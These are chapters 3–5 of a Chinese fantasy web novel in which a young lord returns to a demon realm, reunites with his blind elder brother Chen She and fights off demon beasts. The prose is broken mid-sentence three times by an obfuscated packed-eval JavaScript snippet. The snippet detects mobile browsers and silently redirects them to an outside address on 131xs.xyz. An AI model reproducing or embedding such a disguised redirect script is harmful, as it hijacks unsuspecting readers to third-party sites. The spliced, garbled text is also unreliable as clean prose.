《还有此等好事?》 3. 长兄尘赦 乌令禅不知年幼时遭遇了什么,血脉、记忆和「乌」印一起被封。 如今太平弓一箭破开封印,短短片刻他的琥珀眸瞳彻底化为猩红,连幼时记忆也若隐若现。 不过终究时间过久,乌令禅不太记得“长兄”是何种模样,只隐约有个模糊的影子,和一个奇怪的念头。 ——快跑。 乌令禅不解其意。 这时,大鸢一声啼叫,江争流不知从哪儿拿出一件雪裘披风,轻轻披在乌令禅肩上。 “少君,辟寒台到了。” 乌令禅低头望去。 辟寒台终年落雪,从高空看好似一块冰玉雕琢而成,殿外是连绵不绝的竹林,寒风呼啸中依然嫩绿成荫。 大鸢羽翼漆黑,尖喙暗红,似乎惧怕什么,不愿靠近辟寒台,一直哀哀叫着在半空盘桓。 荀谒不耐道:“落。” 大鸢好似哭了声,浑身发抖半天——乌令禅差点被它给抖得蹦起来,这才终于不情不愿地飞落辟寒台。 大鸢小山似的,乌令禅不好往下蹦,索性朝着荀谒伸出手,示意“扶我下去”。 荀谒:“……” 荀谒生平第一次体会到了什么叫气笑。 他狞笑着御风上前,揪着乌令禅的后领将他拎起来。 乌令禅一身衣袍金饰漂亮而杂乱,拎着后领随手一晃就叮当作响,像是捏了一兜钱串子。 荀谒将“钱串子”放下,假笑道:“少君,请。” 乌令禅瞪了他一眼,看在他还听话的份上大度原谅了他的冒犯。 辟寒台已有不少人在等候。 乌令禅走上玉阶,刚到殿内,就察觉到几道视线欻欻朝着他射来。 没等乌令禅反应,几个白影倏地如一把离弦的箭猛地窜到乌令禅面前,眼神如同锋利的刀一寸寸在乌令禅脸上雕刻。 待视线落在乌令禅脖颈的「乌」字金印上,众人终于哽咽落泪,拉着乌令禅热泪盈眶地看个不停,七嘴八舌。 “少君!天可怜见,少君终于归来!我等不负君上所托,死也瞑目了!” “这相貌!简直和乌君一个模子刻出来的!” “魔神怜悯,当真是少君!” 乌令禅被吵得脑瓜子嗡嗡的,疑惑看着这群长得千奇百怪的人。 叽叽喳喳说啥呢,听不懂。 荀谒肩上停着只巴掌大的鸢,他吊儿郎当地迈入殿内,假笑道:“好一出久别重逢的戏码啊,少君流落人族十一年,也没见你们谁派人去寻?” 众人一噎。 江争流淡淡道:“少君自小在辟寒台长大,失踪后尘君不照样事不关己,独坐高台?” 荀谒冷冷看他:“枉了茔兽潮来势汹汹,这些年若非尘君力挽狂澜,你们早已沦为魔兽腹中鬼,哪还有嘴在这里道尘君的是非?” 人群中有位年长的长老抚着胡须说:“呵?力挽狂澜?自从苴符君上闭关,尘君执掌昆拂墟以来,枉了茔便动荡不断——前段时日魔兽袭击,拖走数十人,就连边壤一寒君之子都下落不明。” 荀谒眼皮重重一跳,拇指咔哒一声将长刀弹出一寸。 “魔神震怒,这才降下不详。”长老侃侃而谈,“这些年,昆拂墟惶惶不安,直到前日,天降异象,枉了茔兽潮顷刻平息!” 此言一出,所有人都将视线看向乌令禅。 乌令禅:“?” 众人叽里呱啦吵架,词汇储备只有五岁的乌少君根本听不懂他们在说什么鸟语,他被吵得头疼正悄摸摸坐在旁边吃点心。 刚塞嘴里,就被众人注目。 乌令禅艰难将噎死人的糕点吞下去:“啊?” 怎么了这是? 长老视线在乌令禅满脸点心渣渣的脸和迷茫睿智的表情打量一圈,沉默许久,震声道:“少君血统纯正,雍容华贵,卓逸不群!魔神眷顾之人,唯有少君才有资格执掌昆拂墟!” 荀谒:“……” 江争流:“……” 除了血统纯正,其他词哪里和乌令禅挨边儿? 护短如江争流也沉默了。 荀谒无语半晌,幽幽道:“二长老果真年迈,眼都瞎了。” 二长老怒而拍案——不知是真怒,还是恼羞成怒:“少君刚一回来,枉了茔兽潮顷刻平息,如今边壤还有数千魔兽受于威压在那长跪不起,这难道不是魔神的震慑?!” 乌令禅一边看热闹一边拿着糕点吃吃吃,还挺好吃。 就在众人吵得即将掀桌子时,辟寒台骤然出现一道琴音。 “铮——” 乌令禅糕点都掉了,受惊抬头。 谁在哀嚎? 听到这声琴音,吵闹不休的众人瞬间像是被掐了喉咙偃旗息鼓,恭敬朝着首位跪地叩拜——哪怕背地里骂狗贼的江争流也颔首行礼。 乌令禅疑惑地循声望去。 辟寒台屏风后,有抚琴声。 不过琴音不知是哪位高人所弹,魔音绕梁,惨绝人寰。 乌令禅被摧残得脑瓜子嗡嗡作响,心想三界最持正端庄的佛子听了这琴音都得立地成魔。 谁在弹琴? 屏风后传来道轻缓的声音:“少君归来是天大的好事,打打杀杀成何体统?” 荀谒沉着脸将出鞘的刀收了回来,缓步走至屏风边垂首而立。 “尘君。” 乌令禅挑眉。 方才那魔音……琴音是尘赦所奏? 琴音有震慑敌人的威力,反正一音拨来,满室吵闹彻底停歇,连方才嚣张的二长老也像是被掐住脖子的老鹅,不敢吱声。 尘赦问:“枉了茔兽潮被封印数千年,早在父亲在位时便时常有大魔试图破封印,如今昆拂大乱,二长老的意思是我不详,这才招来灾祸?” 昆拂墟本有十七域长老,如今被尘赦宰年猪似的一年杀几个,如今只剩下寥寥七位。 这七人或是畏畏缩缩怂如鹌鹑,一见尘君就噗通一声跪地连连磕头; 或是双耳不闻窗外事,闷头闭关,完全不成气候; 或是底蕴庞大,梗着脖子和尘赦艰难抗衡。 显然,二长老属于后者。 他艰难撑着手杖站起身,颇有种一头撞死的刚烈:“我只是就事论事,血统一说……” 荀谒听不得这俩字:“放肆!什么狗屁倒灶的血统?!苴符君当年也是杀出来的魔君之位,怎么到了尘君却要讲究血统纯不纯正?想死就直说,别闹这一出,你真当我们尘君是什么好人不成?” 尘赦:“……” 二长老并不理会荀谒的愤怒,转身拉乌令禅下水:“少君,您说呢?” 乌令禅:“……” 说什么?发生什么事啦? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949870|177512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏风后,尘赦又在弹魔音。 乌令禅被搅和得脑袋疼,对上众人或期盼或愤怒的眼神,记起江争流方才说的话。 强者为尊…… 正是用到他的好时候。 看这架势,这些长老分明是不愿尘赦继位,这才闹了这么一通。 江争流给乌令禅使了个眼色。 乌令禅郑重其事地点头。 懂了。 “新君之位……”乌令禅磕磕绊绊地说,“强者厉害,长兄最,佳。” 琴音倏地一停。 满室都在等待乌令禅的“但是”。 乌令禅没有但是。 ……还好奇为何没人接话。 辟寒台一阵死寂,察觉到乌令禅说完了,众人脸色微微扭曲了下,连一向算无遗策的江争流也面露错愕。 荀谒眉梢一扬,察觉到辟寒台早已开启的杀阵在缓慢消失,唇角一撇。 这小少君蠢得要命,稀里糊涂被江争流他们推出来当刀使,本来以为说不上几句就会被这头顶的杀阵给挫骨扬灰。 没想到阵法都发动了,临门一脚这人突然长脑子了。 屏风后传来一声轻缓的笑声。 端坐案边的男人终于起身,高大身影倒映在竹枫相衬的水墨屏风上,迈步而出。 乌令禅循声望去,微微一愣。 天幕幽蓝,仿佛倒映烟雨青山,尘赦一袭靛青长袍,上方绣着乌令禅并不懂的纹样,如同活物般在暗纹中爬行。 最奇特的是他的脸。 尘赦闭着眸,浓密的睫垂着,从眼皮到面颊上方有朱红色的繁琐符纹,像是个封印般困住他的眼,邪嵬诡谲。 乌令禅一时半会缓不过来,只呆呆盯着眼上的符纹看。 倏地。 那符纹宛如活物般,一点朱砂轻轻往下一动。 ……像是“看”了他一眼。 乌令禅吓了一跳。 尘赦怎么是个瞎子?年幼时他也这样吗? 不记得了。 尘赦并不像传闻中那般三头六臂凶神恶煞,相反他气度儒雅过了头,长身鹤立,像是哪个名门正派照着古书养出来的谦谦君子。 乌令禅眨了眨眼。 尘赦虽瞎,但不知怎么准确无误朝着乌令禅的方向一伸手,姿态雍容带着贵气:“……,来。” 乌令禅面露迷茫。 尘赦似乎说了一个叠词,他听不太懂,估摸着是“弟弟”。 记忆中好像也有人用相同的姿势、语调唤他。 乌令禅不怕他,也没看到其他长老面露惊惧的阻止,一袭红枫金袖袍翻飞,如同幼时般翩然跑到尘赦身边。 离得近了,乌令禅才发现尘赦好像过分高大。 他已十六岁,在同龄人中已算高挑,可走到尘赦面前却堪堪到其肩膀,得仰着头看他。 尘赦垂头,眸瞳微动,似乎在用无形的东西“看”他,语调带着笑,哄孩子似的。 “还记得我吗?” 乌令禅摇摇头,又犹豫着点点头,掐了两根手指比了比:“就记得一点点。” “那记得叫我什么吗?” “记得,阿兄。” 听到这个只有孩子才会叫的称呼,尘赦羽睫微动,好一会才笑起来,伸手轻轻抚摸乌令禅柔软乌黑的发。 “嗯,乖。” 4.卖乖撒娇啊 尘赦喜怒无常,饶是心思缜密如江争流,也猜不透他的心思。 “将丹咎宫收拾出来,请少君住进去。” 荀谒一怔。 之前不是说随便找个破院子,将人软禁起来省得生事儿吗,怎么一个照面就住丹咎宫了? 周围长老也是脸色一变,纷纷阻止。 “怎能住在丹咎宫?!” “少君身份尊贵,怎么能住在那……那那地儿!还是跟随江长老住,更方便照料!” 尘赦淡淡道:“丹咎宫本就是少君年幼时的住处,为何不能住?” 众人脸色难看。 自然是因为你,心中没有数吗? 辟寒台离丹咎宫极近,只相隔一条吊桥,将乌令禅放在尘赦眼皮子底下,他们担心这厮一个不顺心就将少君宰了。 尘赦挑眉:“依少君之见呢?” 乌令禅隐约听懂“住”,他也不懂,只好乖乖地说:“全凭阿兄做主。” “嗯,好。” 煞神的决定无人能改变。 众人如丧考妣,没想到非但没给尘赦使绊子,还赔了个少君。 乌令禅走了两步,似乎记起什么,回头问:“阿兄,我能要,要人,保护我吗?” 听闻魔族凶险,乌令禅毫无修为,玄香太守又被击碎灵体,若想重新凝出器灵,还是要尽快恢复金丹。 恢复修为这段时日,最好寻个修为高深的人相护才能心安。 乌令禅想得认真,没瞧见在场众人脸色各异。 江争流心口重重一跳。 本以为这位乌小少君是个任人揉捏的软柿子,却未曾想也是个有脑子的。 权衡利弊,懂得取舍,舍弃新君之位讨好尘赦;又知晓身处尘赦掌控下极其危险,寻人相护起码不至于死得无声无息。 荀谒冷笑连连。 都进笼子当鸟了,还想和江争流同流合污呢? 尘赦倒是瞧不出什么神情,和颜悦色道:“可以啊,那……想选谁保护?” 江争流正准备站出来。 乌令禅伸手一指:“他。” 江争流一噎。 乌令禅手所指之处,荀谒等着看好戏的神情陡然僵在脸上。 谁? 江争流悄无声息倒吸一口凉气——不知是为乌令禅的愚蠢,还是大胆。 荀谒被气笑了,面目狰狞盯着他,准备等尘君一声令下,他便摘下此人狗头! 等了三息,却听尘赦又笑了一声。 “昆拂魔兽虽多,却不敢来丹咎宫放肆。” 尘君从袖中拿出一枚金铃递给他,红绳坠着微微一晃,叮当作响,语调温柔道,“……若怕,这金铃可抵挡化神一击,拿好。” 荀谒:“……” 荀谒眼珠子差点瞪出来。 乌令禅喜欢一切漂亮的东西,接过来晃了晃,又犹豫着看了一眼荀谒——这人很听话,要是能把他要来就好了。 但尘赦婉拒了,乌令禅也不再强求:“谢谢阿兄。” 尘赦问:“还有什么想要的吗?” “没有啦。” “乖孩子,去吧。” 乌令禅捏着铃铛,叮叮当当地跟着江争流跑了。 众人憋着气鱼贯而出,一离开辟寒台,赶紧一拥而上将乌令禅围起来。 乌令禅赶紧抓住金铃,唯恐这些人暗算他。 谁料这些长老满脸怜悯看着他,一言难尽地接连叹气,像是在看一个命不久矣的傻孩子。 等叹了一圈,每个人又拿出一堆法器往乌令禅怀里塞。 “这是璇玑镜,遇到危险时可招来一颗陨星砸下,与敌人同归于尽。” “……四块玉,若不敌,可斗转星移逃窜万里之外,不过可能得抽你半条命的生机,慎用。” “乌静衣,穿上可避水火……” 乌令禅懵然地被塞了一堆东西,又在众人压抑的呜咽声中,跟着江争流进去丹咎宫。 ……看这架势,还以为他要去的是鬼门关。 *** 外面那死动静逐渐消失。 尘赦缓步走回屏风后,指尖漫不经心在古琴上轻轻一抚。 荀谒唯恐尘君乘兴再抚一曲魔音,忙道:“江争流今日拿少君的血统作筏子,恐怕所图不简单,尘君不宜再心慈手软,该速杀之以绝后患。” “江争流不是蠢人。”尘赦淡淡道,“他知道一个毫无修为的少君根本撼动不了我什么,闹这一出是想拖延时间,让我不那么早得到魔君印。” 荀谒一愣:“他还惦记着枉了茔的魔炁呢?” 枉了茔魔兽数千万,魔炁便是由枉了茔中央的血海而生,随着魔兽一起被天道规则所化的结界封印。 不过近数十年,结界有所松动,三界各地时不时会有虚空缝隙出现,穷凶极恶的魔兽和魔炁一同爬出肆虐为祸人间。 上任魔君重伤闭关后,尘赦暂代魔君之位,用灵力修补缝隙。 可那终归只是权宜之计。 若想彻底稳固结界,唯有真正获得魔君印。 尘赦想彻底封印枉了茔;江争流却想富贵险中求。 今日江争流利用乌令禅的血统之说对尘赦发难,是想拖延尘赦得到魔君印,好抓紧时间能从缝隙中获得更多魔炁。 荀谒蹙眉:“尘君杀了十域长老,还差再杀个江争流吗?” 尘赦勾着琴弦轻轻一松,迸出裂音,他并未回应这话,只冷淡地问:“去查查看,乌……为何突然回魔墟?” 荀谒称是,不过心下生奇。 乌令禅无人保护,要是闹事直接杀了便是,查他不是多此一举? 不过稍稍思忖,荀谒恍然大悟。 “尘君是忌惮少君野心勃勃,会和江争流同流合污?” 尘赦挑眉:“野心勃勃?” “正是。”荀谒道,“今日初见,他便对属下狠狠使了个下马威,方才殿中也装疯卖傻,这个节骨眼归来,恐怕别有所图。” 尘赦笑起来:“人族那些软弱无能的名门正派养出来的蠢笨小孩,能有多大的野心,高看他了。” 至于别有所图…… 尘赦指尖一勾,琴弦砰地一声断裂。 他想瞧瞧这小少君处心积虑的卖乖撒娇,是为了什么。 *** 丹咎宫离辟寒台只有一条长廊之隔。 一半是大雪漫天的冬日竹林,另一侧却是彤红张扬的秋日丹枫。 乌令禅被满眼丹红灼了下眼睛,四周陌生又熟悉,好奇地溜达来溜达去。 江争流为他将披风脱下,欲言又止看着这位小少君。 十一年过去,五岁之前的记忆恍如黄粱一梦,唯独丹咎宫那股深秋和落日余晖交织的气息似乎刻在骨子里。 记忆无几,心却知安宁。 丹咎宫无人住过,灯盏中悬着数颗辟尘珠,十一年也纤尘不染。 内殿中布置精致,一看便用了心。 落地木窗大开,矮小的案前有一大一小两个蒲团,案上摊着巴掌大的画卷,还有一堆小巧孩子玩具落了一地。 只看小桌上的鸡零狗碎,也能看出对幼崽的纵容和溺爱。 乌令禅循着模糊的记忆坐在案前,恍惚中似乎有人坐在背后,握着他的手在画卷上写字。 顺着记忆的方向望去,画卷上落着一个龙飞凤舞的「尘」字。 一旁还有个孩子爪印。 乌令禅好奇地歪头看。 幼时他和尘赦这般亲密吗? 江争流将殿内辟尘珠换下,等将旧的珠子拿下来才发现,这辟尘珠竟然刚换过不久。 苴浮君被尘赦软禁,乌君陨落。 还有谁会惦记少君住处落不落尘? 江争流垂眸,遮掩心中复杂之色。 乌令禅托着腮好奇看着江争流:“长老,幼时我和阿兄,一起亲亲吗?” 江争流愣怔了下,才意识到这个“亲亲”是指“亲密”。 他笑了笑:“少君出生时,苴浮君和乌君为枉了茔兽潮之事忙碌奔波,数年未归,是尘君将您带大,想来是亲密的。” 乌令禅似懂非懂。 那怪不得亲手教他写字。 江争流温和地道:“尘赦并非苴浮君亲生子,血脉并不纯正,当年他落难,受苴浮君恩惠这才活了下来,同少君自是不能比的。” 乌令禅眨了眨眼,满脸懵懂:“啊?什么啊?” 江争流见他装傻,无声叹了口气。 木已成舟,再多说也无益。 江争流抬手拿出三块玉简:“少君已归家,此后人族是非就此了断,名讳自也是要改的——此为少君出生时大长老和祖灵为您取的字。” 乌令禅:“啊?” “……”江争流心中古怪,这孩子怎么像是听不懂话,只好简短地道,“少君的名字,大长老取一个字,祖灵取一字。” 乌令禅:“哦哦!为何不是父亲母亲为我取?” 江争流又想嘚啵一通血统,但见乌令禅又准备“啊?!”,只好说:“昆拂墟习俗,血统纯正者由大长老和祖灵取名。” 乌令禅了然,好奇地看着玉简上两个龙飞凤舞的金字。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952938|177512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“怎么念呀?” 江争流屈指一点,幽蓝玉简的金光缓慢飘浮半空,勾勒出龙飞凤舞的字来。 “少君生于枉了茔魔兽重新封困之日,天降祥瑞,大长老为少君取一字为「困」,寓意境困不乱,战兢自守。” 乌令禅点点头。 乌困…… 无论后面一个字是什么,都挺威武的,比他如今这个好。 乌令禅又看向另一个彤红玉简,等看清上面那个字,眼皮轻轻一跳。 他识字不多,却能认出来彤红玉简和幽蓝玉简上的字…… 似乎是同一个。 乌令禅唇角抽了抽。 ……乌困困? 那尘赦今日一直唤他的叠词,不是弟弟,而是困困? 乌令禅:“……” 一点都不威武。 两道“困”字没入灵台后,乌令禅金丹破碎的凡人之躯竟然凭空出现一道强悍又隐秘的护体灵力扎根识海。 看来族中长老和祖灵赐字,的确有所益处。 乌令禅不太想叫这个不威武的名字,但看在这两道护体灵力的份上,将抗议吞了回去。 他又看向第三块玉简:“这又是什么?” “这是苴浮君留给您的,我也不知里面是什么。” 乌令禅愣了愣,反应过来苴浮君是他亲爹。 亲儿子回来,苴浮君却打发江争流送他一支灰扑扑的玉简,想来对他这个亲生子不怎么上心。 也怪不得会将年幼的他交给尘赦带。 想起尘赦,乌令禅好奇道:“那我阿兄的字呢,是谁赐的?” 这话问出来,江争流脸色有异,他咳了声,叮嘱道:“这话莫要在尘君面前问。” 乌令禅不明所以,但还是乖乖点头。 江争流温柔叮嘱他几句,这才离开。 夜幕降临。 偌大丹咎宫静谧安宁,丹枫成林火红一片,被灯盏一照好似云霞。 乌令禅忙活一日,终于能闲下来,立刻马不停蹄入定,以相连的本命神魂去仔细探查腕间玄香太守的情况。 玄香为了救他,硬生生用灵体挨了一击,识海中飘浮着丝丝缕缕的墨痕,看起来伤得不轻。 好在那两道「困」字提供灵力,正在缓慢凝聚玄香的魂灵。 “墨宝?” 玄香那绺墨痕微微动了动,再大的反应却没有了。 乌令禅沉吟片刻,当机立断盘膝坐在连榻上,将竹蜩草拿出。 为今之计,还是尽快恢复金丹为妙。 乌令禅指尖搓出一绺灵火,将竹蜩草的花淬炼出小小一滴汁液,熟练地置入内府中,尝试第八次凝聚灵力。 对此乌令禅已经熟练至极,很快就引气入体,将灵力小心翼翼往内府中送。 那破碎的金丹如同萤火似的散落在他内府中,受灵力牵引缓慢地汇聚内府中。 金丹碎片轻轻一动,一寸寸地被牵引着。 无数片碎片朝着最中央聚拢。 乌令禅气沉丹田,不为所动,内视体内的金丹,还带着稚气的脸上没有半分动容。 终于,即将聚拢的刹那,灵力骤然散去。 乌令禅脸色一变。 金丹轰然一声在内府中炸开。 乌令禅身形猛地一阵摇晃,气血翻涌猛地吐出一口血来。 ……第八次结丹,再次以失败告终。 乌令禅脸色煞白,唇角带血,玉色妖冶的脸虚弱得几乎像雪般融化,半伏在榻上虚弱喘息着。 狰狞的血溅在衣袍上,好似一朵暗红的花。 此前七次重塑金丹失败,乌令禅只觉得自己倒霉透顶,天意如此; 如今重回魔族,他终于意识到恐怕是修习的本源出了岔子。 血统纯正的魔修,修行道法结丹,怪不得会噼里啪啦地碎成一堆星星。 乌令禅擦了擦唇角的血,开始琢磨起来。 得找个魔修问问是如何正确修行。 乌令禅从连榻上起身,一边解腰封一边往内室去。 只是还没走了几步,他脚步一顿。 玄香太守发出一道微光,一股被野兽盯住的恐惧本能泛上来。 乌令禅屏住呼吸,侧头看去。 四周一片漆黑,灯盏不知何时早已被熄,虚空中好似裂开了一条缝隙,如同萤火星星点点泛着诡异的紫雾。 紫雾中亮起几只猩红的点,伴随着压抑的低吼声逐渐连成一片数十个红点,明明灭灭,直勾勾朝乌令禅看来。 那是眼睛。 ——魔兽的眼睛。 5.分明一样的字 “墨宝……” 乌令禅自没了修为后,经常遭人寻仇。 ——他根本不知道那些人是谁,只好虚心地询问名讳和恩怨,仇家却一个个却哭着闹着嚷嚷着:“乌令禅你欺人太甚!” 乌令禅不知道欺他们什么了,每次仇家冲上来要揍他,皆是玄香为他摆平的。 此番遇险乌令禅第一反应便是唤本命法器。 玄香没有反应。 乌令禅愣了愣,后知后觉到玄香没了。 枉了茔魔兽数千万只,传闻中甚至有魔兽修成人形。 不过更多的却是那些毫无理智只知道吞噬屠戮的魔兽,丹咎宫身居昆拂墟腹地,更和尘赦的辟寒台相隔不远。 怎么可能会有魔兽闯进来? 乌令禅茫然地呢喃了句:“……玄香。” 明知道玄香灵体已散,可这两字像是给了他没来由的勇气,乌令禅深深吸了一口气,发抖的手轻轻一甩,凭空从影子中拔出一把漆黑如墨的剑。 那红光更近了。 忽地,风声响起。 魔兽一拥而上扑了上来。 乌令禅反应极快,轻盈身躯几个跃起堪堪躲过这一击,红枫金纹束袖猎袍的裾摆花簇似的旋开。 锵! 墨剑凌空斩在为首的魔兽身上。 伴随着断剑的脆响,乌令禅和一众魔兽不约而同抬头,视线随着断剑尖在空中旋转数圈,划了个弧度,落地。 乌令禅:“……” 四周安静刹那。 魔兽被那有模有样的假把式唬了一下,怒气更甚,猛地仰天咆哮一声,掀起的气浪势如破竹冲过去。 乌令禅来不及逃太远,被风掀翻数十丈。 “唔噗”一声脸朝地栽地上。 身上漂亮装饰稀里哗啦掉了一地,连尘赦所赠的金铃也滚到一边。 乌令禅腾地爬起来,刚跑几步又折返回来,将离得最近的漂亮金坠子捡起来,一边戴在凌乱发间一边撒腿就跑。 哈哈哈果然还是打不过! 半个丹咎宫都是魔兽,乌令禅狼狈翻出窗,还未定睛一看便感觉一阵腥臭的热意扑面而来。 魔兽已逼近眼前,巨大的利爪朝着他脑袋当头拍下。 乌令禅腰身一折,堪堪躲过,狼狈地滚在一边。 那魔兽似乎是有灵智的,一双猩红眸瞳中的「尘」字微微一闪,猛地张开血盆大口。 恰在这时,半空中一团紫雾猛地向乌令禅飘来。 紫雾诡谲,院中盛放的牡丹只沾了一星半点,顷刻枯萎化为齑粉。 乌令禅脸都白了。 可还没等他屏息,紫雾直接当头笼罩,在触碰到乌令禅的刹那化为一绺紫痕,猛地钻入内府中。 坏了。 那是什么鬼东西,是能入体的吗?! 好倒霉! 不是说他是天运之子吗,采仙草不遇灵兽的好气运呢?! 乌令禅悚然,一个愣神魔兽已将他扑倒在地,庞大的兽身将瘦弱的身躯整个压住。 “呜……” 剧痛瞬间泛上来,却是从乌令禅丹田开始蔓延。 有那么一刹那,乌令禅脑海一片空白,只能听到无数琉璃破碎的声音,尖利刺耳。 砰砰砰。 身上的重负似乎陡然被弹开,伴随着魔兽的惨叫和撞击声,乌令禅丹田好似蕴含着一股无形暴烈的力量。 破碎成数百裂纹的金丹竟然剧烈颤抖起来,忽然合拢为一。 乌令禅消失一年的金丹期灵力骤然恢复。 他呆了呆,没等理出个头绪来,被震慑得往后退的魔兽再次张牙舞爪地扑上来。 乌令禅来不及多想,绣丹枫纹的宽袖猎猎而动,五指好似花簇般微微一拢。 伴随着合拢的动作,一把长刀从漆黑的影子里一寸寸拔出。 魔兽:“吼——!” 乌令禅眉梢一挑,弯眸笑了。 这刀和方才那假把式全然不同,仙阶法器玄香太守化为一柄比乌令禅身量还高的长刀,出招间尖端带起凌厉的半圈墨痕,大开大合撞在巨兽身上,寒芒逼人。 金丹修为骤然外放。 锵。 只一刀。 数十只魔兽陡然哀嚎,沾染刀光者悉数化为灰烬簌簌掉落。 轰隆隆—— 那长刀的冲势不减,直接将半个丹咎宫夷为平地,直冲数百丈。 四周一阵死寂。 乌令禅抬手将四周墨汁收拢到手中,屈指一弹,那墨汁好似活物一般咕噜噜落到他的影子中,顷刻消失不见。 ……只剩一滴墨溅在眼尾,泪痣似的。 像是画里走出来的,漂亮得惊人。 只是画卷只展开一瞬,乌令禅就龇牙咧嘴地单脚蹦起来。 “啊啊嘶……” 方才不知那只魔兽狠狠给了他小腿一口,疼得他嗷嗷叫,差点哭了。 乌令禅使出一招,体内金丹又又又碎了,修为再次跌至炼气期。 看着已经焚毁的丹咎宫,乌令禅一边原地蹦一边惊疑不定。 那紫雾到底是什么东西,入内府后竟然能令他短暂地恢复金丹巅峰的修为? 原来天道还是偏爱他。 哎呀,他也叽里呱啦,魔神好。 半个丹咎宫被乌令禅一刀劈了,剩余的魔兽惊疑不定地注视着他,似乎在打量,不知是该上前还是该夹着尾巴跑。 乌令禅金丹碎了,嘴还硬着。 他握着刀,笑眯眯地说:“小狗,再来呀。” 魔兽面面相觑,但乌令禅的血肉对他们而言似乎带着致命的吸引力,犹豫再三直接顺从本心扑上前来。 乌令禅心想哈哈哈还真来啊! 跑! 乌令禅二话不说撒腿就跑。 只是那瘸腿根本没跑几步,就疼得一个趔趄往前扑去。 魔兽已凌空而来。 乌令禅:“……” 不该挑衅找死的。 就在即将命丧兽口的刹那,已飞到半空的魔兽瞳孔骤然缩成竖针,剧烈晃动着。 本能对危险的惊惧还未露出来,小山的身躯便像是蓬松的软丝糖被一双无形的手往中间按拢。 砰。 魔兽五官扭曲,凭空炸成一团漂亮的血雾。 仅剩的几只魔兽浑身抖若筛糠,爪子已经无法支撑身体,砰砰砰倒在地上。 那是个跪地乞求的动作。 乌令禅愣了愣,迷茫回头望去。 视线所及之处,是层叠的靛青裾袍。 尘赦不知何时到的,抬手从袖中弹出几根鱼线似的灵线,交织着将空中的缝隙转瞬缝上。 乌令禅:“阿……” 尘赦垂首“看”向乌令禅的狼狈模样:“伤到了?” 乌令禅似乎想起什么,撇撇嘴,不想理他,瘪着嘴没吭声。 那几只魔兽腿都吓软了却还挣扎着想要逃。 尘赦淡淡道:“既然来了,何必再离去?” 言毕,一道杀阵骤然出现,竹叶纷扬落下,顷刻将所有魔兽诛杀。 嗤的一声,丹咎宫烛火冉冉亮起。 细看下,每具魔兽的尸身上都飘浮着一颗内丹,被一小团紫雾萦绕。 乌令禅下意识想要抓住最近的一颗内丹。 ——这是方才让他恢复金丹的东西。 但还未碰到,尘赦一挥衣袖,将四周所有内丹收拢袖中,没有留下半颗。 乌令禅没忍住问他:“那是什么呀? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15960229|177512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 尘赦敛袍单膝跪地,握着乌令禅的脚踝看伤,淡淡道:“不是你该问的莫要多问。” 乌令禅不高兴:“那什么该问?” 白日在辟寒台还会撒娇,怎么晚上如此有敌意? 尘赦笑了:“不如阿兄先问问你,刚入住丹咎宫不到半日,怎么就将住处劈塌了?” 乌令禅:“……” 乌令禅:“啊?阿兄在说什么?” 尘赦含笑,温热的手掌带着灵力,在乌令禅被咬的小腿上轻轻一抚,狰狞的伤口缓缓愈合消失,连个伤疤都没留下。 荀谒姗姗来迟:“尘君,有要事……嘶!” 瞧见丹咎宫一片废墟,荀谒悄无声息倒吸一口气:“丹咎宫竟也被魔兽闯进来了?” 尘赦拎着不情不愿的乌令禅站起身,“嗯?”了声:“也?” “是。”荀谒言简意赅,“今夜遭遇魔兽遇袭,二长老丧命,尸骨无存。” 尘赦眉梢轻挑。 “丹咎宫中有结界,按理来说不该出现魔兽。”荀谒跪下请罪,“属下失察。” 乌令禅不是个能藏住心思的脾气,看这两人一唱一和,忍不住拆了他们的戏台:“不是阿兄放……放小狗杀我吗?” 荀谒脸色一沉。 尘君只是想过,并未实施,他怎能如此污蔑尘君青白?! “乌困困。”尘赦垂着羽睫,语调温和,“想清楚什么话该说、什么不该说。” 乌令禅从来不会察言观色——以前没落魄时皆是别人看他脸色,没察觉出尘赦脸上的冷意。 他还不高兴了:“我长嘴就是为了说话的,没有什么该不该的,我就要说。” 荀谒气不打一处来:“二长老身死是遭了报应,死有余辜,和尘君有何关系?” 乌令禅听不太懂,怀疑这简单一句话的真正意思自己没听出来。 他哪句话有说二长老了? 乌令禅的心很小,只盛得下自己,根本没有将长老被杀之事和自己也遇袭联系在一起。 就像是他不懂为何自己是天之骄子,和他八竿子打不着的孟凭就嫉妒他; 也不理解为何自己血脉纯正,阿兄继位就得受人谩骂质疑。 他人惨任他惨,他人强凭他强。 至于其他,与我何干? 尘赦浑身冷意好似结冰,四周隐约有寒霜凝聚。 荀谒登时不吭声了。 等着看此人口无遮拦的下场。 